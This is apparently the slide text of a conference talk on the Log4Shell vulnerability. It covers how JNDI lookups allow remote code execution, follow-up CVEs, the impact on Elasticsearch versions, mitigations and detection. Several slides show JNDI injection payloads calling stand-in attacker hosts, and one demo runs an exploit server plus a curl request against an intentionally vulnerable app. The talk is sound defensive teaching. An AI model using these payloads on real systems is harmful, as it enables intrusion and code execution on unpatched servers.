



Philipp Krenn

@xeraa

Who remembers Log4Shell?

MY HOLIDAY PLANS



LOG4J





Shantonu Sen
@shantonusen

...

My kids just asked why there was a Minecraft update with no features and what a “Log4J” was, and I have been preparing my whole life for this.

I had to start at the beginning with C format strings. I should be able to get to Java and jar files by midnight.

4:57 am · 12 Dec 2021 · Twitter for iPhone

Join at
slido.com
#xeraa



Agenda

What is Log4Shell?

How can you exploit it?

How can it affect products?

How can you protect against it?



elastic

Developer 

What is Log4Shell?


CVE-2021-44228

Log4j 2.0-beta9-2.12.1 & 2.13.0-2.14.1

**[https://logging.apache.org/log4j/2.x/
security.html#log4j-2.15.0](https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0)**

**[https://cve.mitre.org/cgi-bin/cvename.cgi?
name=CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228)**

Java Naming and Directory Interface (JNDI)



<https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/>
(2016)

Log4Shell

<https://www.lunasec.io/docs/blog/log4j-zero-day/>

`${jndi:ldap://attacker.com:1389/a}`

**Remote Code Execution
Common Vulnerability Scoring System 10/10**



LOG4J

CVE-2021-44228

SecurityZines.com


With ❤️ love By
hearts

@ SEC_RO

1 APACHE LOG4J?

- * Highly Optimised open Source Logging library for Java applications

Components



2 Log4j LOOKUP PLUGINS

`${name:Key}`

Tells Log4j which ↴
Plugin to load ↴ Name of item to locate

* This plugin loading feature add extensibility

eg `${java:version}` → Log4J → 11.0.11

3 JNDI LOOKUP PLUGIN


Java Naming and Directory Interface

- * JNDI allows Java application to make connections to LDAP Server OR RMI

JNDI LOOKUP PLUGIN → `${jndi:loc}`


Allows variables to be retrieved via JNDI from 'loc' parameter

4 JNDI ↔ LDAP ! ISSUE



`${jndi:ldap://example.com/a}`
! The issue arises when 'a' is a class file. This triggers code execution

5 Attack



`${jndi:ldap://attacker.com/exploit}`

Notes ↗

* Vulnerable versions
2.2.0Beta9 to 2.12.1

? 2.13.0 to 2.15.0

* Upgrade to 2.17.0 as version 2.16.0 is vulnerable to DDS (CVE-2021-45046)

Don't Panic ;)

Don't Panic



jorin zzz



@YawningJorin

...

Use programming-positive language!

🚫 DON'T say "arbitrary code execution vulnerability"

✓ DO say "surprise extension API"

3:40 PM · Dec 11, 2021 · Twitter for Android

329 Retweets

10 Quote Tweets

1,055 Likes

CVSS



<https://www.balbix.com/insights/base-cvss-scores/>

Upgrade

JDK7 Log4j 2.12.4

JDK8+ ~~2.15.0~~ 2.16.0, but 2.17.1+ recommended

HI, THIS IS
YOUR SON'S SCHOOL.
WE'RE HAVING SOME
COMPUTER TROUBLE.



OH, DEAR - DID HE
BREAK SOMETHING?

IN A WAY -)



DID YOU REALLY
NAME YOUR SON
(\$JNDI:LDAP://
evilcorp))Bobby ?

- OH, YES. LITTLE
BOBBY JINDI,
WE CALL HIM.



WELL, WE'VE GOT OUR
SERVERS CRYPTOLOCKED.
I HOPE YOU'RE HAPPY.



AND I HOPE
YOU'VE LEARNED
TO SANITIZE YOUR
LOG4J INPUTS.

Security scanners are

**log4j2.formatMsgNoLookups=true
available 2.10+, default 2.15+**

Some attack vectors depend on JDK features

Remove JndiLookup class from the classpath

WELL IT'S LOG4J PATCH DAY

AGAIN



CVE-2021-45046

Incomplete patch in 2.15.0

CVSS 3.7 (limited DoS) updated to 9.0 (limited RCE)

`${jndi:ldap://attacker.com:1389/a}to`

`${jndi:ldap://127.0.0.1#attacker.com:1389/a}`

Exploit

Custom / non-default pattern

```
appender.console.layout.pattern = ${ctx:tainted} -  
%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
```

```
ThreadContext.put("tainted", TAINTED);  
logger.error("My log message with tainted context...");
```

Upgrade

Log4j 2.16.0 or 2.12.2

Or remove JndiLookup class

DELETES JNDI LOOKUP CLASS



It ain't much, but it's honest work

imgflip.com



CVE-2021-45105

New vulnerability, non-default pattern needed

CVSS 5.9 (DoS)

Upgrade to 2.17.0 or 2.12.3.

Change

To close this attack vector for good, Log4j 2.17.0 changed
recursive substitution within lookups:

Recursive evaluation is allowed while parsing the configuration (no user-input/LogEvent data is present, and configuration breaks are to be avoided) however when log-events themselves are being evaluated we never recursively evaluate substitutions.

A medium shot of Senator Bernie Sanders. He is an elderly man with white hair and glasses, wearing a dark brown zip-up jacket over a dark shirt. He is looking slightly to his left with a serious expression. The background shows a residential street with houses and trees.

Bernie

**I am once again asking
you to fix a log4j vulnerability**


CVE-2021-44832

**RCE via the JDBC Appender when an attacker controls
the configuration in 2.17.0**

CVSS 6.6

Upgrade to 2.17.1 or 2.12.4





**ATTACKERS WAITING FOR AN
INSIDER TO EDIT THE CONFIG FILE**



**PS: How many "features" should
your logger have?**

Logstash

TM

Questions?

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**How can you exploit
it?**

Example

**Spring Boot: [https://github.com/christophetd/
log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)**

Gradle

```
dependencies {  
    implementation('org.springframework.boot:spring-boot-starter-web') {  
        exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'  
    }  
    implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'  
    testImplementation 'org.springframework.boot:spring-boot-starter-test'  
}
```

Java

```
@RestController
public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");

    @GetMapping("/")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";
    }

}
```

Exploit

```
# Exploit server
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <private IP> -p 8888

# Loading the exploit
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://<private IP>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd251ZAo=}''

# Owned system
docker exec vulnerable-app ls /tmp
```

Why was there no virus / worm?

Questions?

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How can it affect products?



**Elasticsearch 5.0 to 7.16.0 are
using a vulnerable Log4j2 version**



But it's not that simple...

Elasticsearch	Log4j	JDK	RCE	Leak	Action required	Protection in place
≥7.16.3	2.17.1	any	-	-	-	Log4j 2.17.1 and JNDILookup class removed
7.16.2	2.17.0	any	-	-	-	Log4j 2.17.0 and JNDILookup class removed
7.16.1	2.11.1	any	-	-	-	JNDILookup class removed and log4j2.formatMsgNoLookups=true
7.0.0-7.16.0	2.11.1	≥9	-	-	-	Java Security Manager and JVM default
7.0.0-7.16.0	2.11.1	<9	-	💥	formatMsgNoLookups	Java Security Manager

Elasticsearch	Log4j	JDK	RCE	Leak	Action required	Protection in place
≥6.8.23	2.17.1	any	-	-	-	Log4j 2.17.1 and JNDILookup class removed
6.8.22	2.17.0	any	-	-	-	Log4j 2.17.0 and JNDILookup class removed
6.8.21	2.11.1	any	-	-	-	JNDILookup class removed and log4j2.formatMsgNoLookups=true
6.4.0-6.8.20	2.11.1	≥9	-	-	-	Java Security Manager and JVM default
6.4.0-6.8.20	2.11.1	<9	-	💥	formatMsgNoLookups	Java Security Manager
6.0.0-6.3.2	2.9.1	≥9	-	-	-	Java Security Manager and JVM default
6.0.0-6.3.2	2.9.1	<9	-	💥	Remove JNDILookup class	Java Security Manager

Elasticsearch	Log4j	JDK	RCE	Leak	Action required	Protection in place
≥5.6.11	2.11.1	any			formatMsgN - oLookups	
5.0.0-5.6.10	2.6.2-2.9.1	any			Remove JNDILookup class	-
<5.0.0	1.x	any	-	-	-	Log4j 1.x

**Do you know the Log4j and JDK
versions of all your
dependencies?**

...on Docker?

Built-in JDK

Elasticsearch since 7.0.0; Docker since 5.0.0

**Check GET _nodes/?
filter_path=nodes.*.name,nodes.*.jvm**

Java Security Manager

Saved our 🥓

Deprecated in JDK17

<https://openjdk.java.net/jeps/411>



Anonymous



3



0



24 Jun, 12:02pm



How much Java Security Manager actually helps you and
how often it's a pain in the a\$\$?

JSM replacement

Modularization + other tricks in the works

<https://github.com/elastic/elasticsearch/labels/modularization>

security.policy

```
// Allow host/ip name service lookups
permission java.net.SocketPermission "*", "resolve";

// Allow reading and setting socket keepalive options
permission jdk.net.NetworkPermission "getOption.TCP_KEEPIDLE";
permission jdk.net.NetworkPermission "setOption.TCP_KEEPIDLE";
permission jdk.net.NetworkPermission "getOption.TCP_KEEPINTERVAL";
permission jdk.net.NetworkPermission "setOption.TCP_KEEPINTERVAL";
permission jdk.net.NetworkPermission "getOption.TCP_KEEPCOUNT";
permission jdk.net.NetworkPermission "setOption.TCP_KEEPCOUNT";
```

<https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/elasticsearch/bootstrap/security.policy>

Java Security Manager

Few exceptions for <https://github.com/elastic/elasticsearch/search?q=SocketPermission> like Netty

Elasticsearch 5.x not as strict

Longstanding Log4j update

<https://github.com/elastic/elasticsearch/pull/47298>

Not merged because of Security Manager

Mitigate

Set -Dlog4j2.formatMsgNoLookups=true

Check GET _nodes/?

filter_path=nodes.*.name,nodes.*.jvm.input_arguments

Hack

Remove JNDILookup class with Gradle

```
def patchLog4j = tasks.register('patchLog4j', Zip) {  
    archiveExtension = 'jar'  
    from( { zipTree(configurations.log4j.singleFile) } ) {  
        exclude '**/JndiLookup.class'  
    }  
}
```

Bad Hack

```
# Remove `JNDILookup` class in the JAR
zip -d lib/log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# Check
jar tvf lib/log4j-core-*.jar | grep -i JndiLookup
```

Hot Patch

<https://github.com/corretto/hotpatch-for-apache-log4j2>

Every time the process starts; not officially tested or recommended for Elasticsearch

Hot Patch vulnerability

<https://www.computerweekly.com/news/252516112/AWS-fixes-vulnerabilities-in-Log4Shell-hot-patch> (April 2022)

Don't try to be (too) smart



Log4Shell

Not
logging
anything

Elasticsearch logging API

```
PUT _cluster/settings
{
  "persistent": {
    "logger._root": "OFF"
  }
}
```



Drop / replace the logging JARs

**Startup error, Security Manager error, or maybe
working**

Support overwhelmed by requests

Questions?

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**How can you protect
against it?**

Misconceptions

I need to use a vulnerable version in my app

An attacker needs to be able to access a vulnerable system

General

Sanitize inputs
Incoming / outgoing firewall

The log4j JNDI Attack

and how to prevent it

An attacker inserts the JNDI lookup in a header field that is likely to be logged.

GET /test HTTP/1.1
Host: victim.xa
User-Agent: \${jndi:ldap://evil.xa/x}



Attacker



✗ BLOCK WITH WAF

Vulnerable Server

http://victim.xa



The string is passed to log4j for logging

“ ”
\${jndi:ldap://evil.xa/x}

✗ DISABLE LOG4J

Vulnerable log4j implementation









✗ PATCH LOG4J



ldap://evil.xa/x

✗ DISABLE JNDI LOOKUPS




log4j interpolates the string and queries the malicious LDAP server.

ldap://evil.xa/x

✗ DISABLE JNDI LOOKUPS

Malicious LDAP Server

ldap://evil.xa



4

✗ DISABLE
REMOTE
CODEBASES

```
public class Malicious implements Serializable {  
    ...  
    static {  
        <malicious Java code>  
    }  
    ...  
}
```

JAVA deserializes (or downloads) the malicious Java class and executes it.


dn:
javaClassName: Malicious
javaCodebase: http://evil.xa
javaSerializedData: <...>

The LDAP server responds with directory information that contains the malicious Java class

Mind map #1

Am I vulnerable to Log4Shell ?

Prioritize patching, starting with mission critical systems, internet-facing systems, and networked servers.
Then prioritize patching other affected information technology and operational technology assets.

1] <https://github.com/NCSC-NL/log4shell/blob/main/software/README.md>2] This mitigation has been seen as potentially insufficient from different sources.
It is advised to follow other remediations steps as well.

3] ThreadContext map has to be in use to trigger CVE-2021-45046 exploitation



Daniel Stenberg

@bagder

...

If you are a multi billion dollar company and are concerned about log4j, why not just email OSS authors you never paid anything and demand a response for free within 24 hours with lots of info? (company name redacted for *my* peace of mind)

Dear Haxx Team Partner,

You are receiving this message because [REDACTED] uses a product you developed. We request you review and respond within 24 hours of receiving this email. If you are not the right person, please forward this message to the appropriate contact.

As you may already be aware, a newly discovered zero-day vulnerability is currently impacting Java logging library Apache Log4j globally, potentially allowing attackers to gain full control of affected servers.

The security and protection of our customers' confidential information is our top priority. As a key partner in serving our customers, we need to understand your risk and mitigation plans for this vulnerability.

Please respond to the following questions using the template provided below.

PS: OSS drama around Log4j1

<https://github.com/qos-ch/reload4j>

Insights from tracing



Observability

[Overview](#)[Alerts](#)[Cases](#)

Logs

[Stream](#)[Anomalies](#)[Categories](#)

Metrics

[Inventory](#)[Metrics Explorer](#)

APM

Services

[Traces](#)[Dependencies](#)[Service Map](#)

Uptime

[Monitors](#)[TLS Certificates](#)

User Experience

Latency distribution

Selection: 789 - 1,471 ms



Trace sample

< < 1 of 1 > >

Investigate

View full trace

4 months ago

1,066 ms (100% of trace)

GET http://10.150.0.3:8080/

200 OK

104 Errors

curl (7.74.0)

[Timeline](#) [Metadata](#) [Logs](#)

Type ● log4shell ● http

0 ms 200 ms 400 ms 600 ms 800 ms 1,066 ms

105 ↗ HTTP 2xx MainController#index 1,066 ms

GET 10.150.0.3 51 ms

HEAD 10.150.0.3 14 ms > View related error

HEAD 10.150.0.3 503 ms > View related error

Insights from security



Security

Overview

Detect

[Alerts](#)

Rules

Exception lists

Explore

Hosts

Network

Investigate

Timelines

Cases

Manage

Endpoints

Trusted applications

Event filters

Host isolation exceptions

Search KQL Jan 28, 2022 @ 18:00:00.0 → Jan 29, 2022 @ 00:00:00.0 Refresh

+ Add filter

All Process Events

Process Name	Timestamp
sshd	Jan 28, 2022 @ 18:54:01.000
sshd	Jan 28, 2022 @ 18:54:02.000
bash	Jan 28, 2022 @ 18:54:02.000
bash	Jan 28, 2022 @ 19:26:22.359
sudo	Jan 28, 2022 @ 19:26:22.369
sudo	Jan 28, 2022 @ 19:26:22.380
java	Jan 28, 2022 @ 19:26:22.380

RUNNING PROCESS **java**

ANALYZED EVENT · TERMINATED PROCESS **sh**

RUNNING PROCESS **sh**

TERMINATED PROCESS **wget**

40 milliseconds

6 milliseconds

92 milliseconds

1 file 2 network

The diagram illustrates the flow of processes and their analysis times. It shows a sequence of events: a 'RUNNING PROCESS' labeled 'java' (40 milliseconds), followed by an 'ANALYZED EVENT · TERMINATED PROCESS' labeled 'sh' (6 milliseconds), then another 'RUNNING PROCESS' labeled 'sh' (92 milliseconds), and finally a 'TERMINATED PROCESS' labeled 'wget' (1 file 2 network). Arrows indicate the flow from one event to the next, with specific time intervals labeled between them.

Questions?

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Conclusion

This is such a mess...

**...that's probably lurking
somewhere in your infrastructure**

**1 major vulnerability and
3 follow-ups**



**"Upgrading log4j 3
times wasn't that stressful!"**


Dave - 28 years old

**Easy to exploit in theory,
reality is complex**

Is it still a problem?

Malicious Cyber Actors Continue to Exploit Log4Shell in VMware Horizon Systems

Original release date: June 23, 2022



CISA and the United States Coast Guard Cyber Command (CGCYBER) have released a joint Cybersecurity Advisory (CSA) to warn network defenders that cyber threat actors, including state-sponsored advanced persistent threat (APT) actors, have continued to exploit CVE-2021-44228 (Log4Shell) in VMware Horizon® and Unified Access Gateway (UAG) servers to obtain initial access to organizations that did not apply available patches. The CSA provides information—including tactics, techniques, and



Philipp Krenn

@xeraa

Links

- <https://logging.apache.org/log4j/2.x/security.html#log4j-2.15.0>
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228>
- <https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/>
- <https://www.lunasec.io/docs/blog/log4j-zero-day/>
- <https://securityzines.com/flyers/log4j.html>
- <https://www.balbix.com/insights/base-cvss-scores/>
- <https://github.com/apache/logging-log4j2/blob/release-2.x/docs/2.17.0-interpolation.md>
- <https://github.com/christophetd/log4shell-vulnerable-app>
- <https://openjdk.java.net/jeps/411>
- <https://github.com/elastic/elasticsearch/labels/modularization>
- <https://github.com/elastic/elasticsearch/blob/7.16/server/src/main/resources/org/elasticsearch/bootstrap/security.policy>

Links

- <https://github.com/elastic/elasticsearch/search?q=SocketPermission>
- <https://github.com/elastic/elasticsearch/pull/47298>
- <https://github.com/corretto/hotpatch-for-apache-log4j2>
- <https://www.computerweekly.com/news/252516112/AWS-fixes-vulnerabilities-in-Log4Shell-hot-patch>
- <https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/>
- <https://github.com/DickReverse/InfosecMindmaps/blob/main/Log4shell/AmIVulnerable-Log4shell-v6.1.png>
- <https://twitter.com/bagder/status/1484672924036616195>
- <https://github.com/qos-ch/reload4j>
- <https://www.cisa.gov/uscert/ncas/current-activity/2022/06/23/malicious-cyber-actors-continue-exploit-log4shell-vmware-horizon>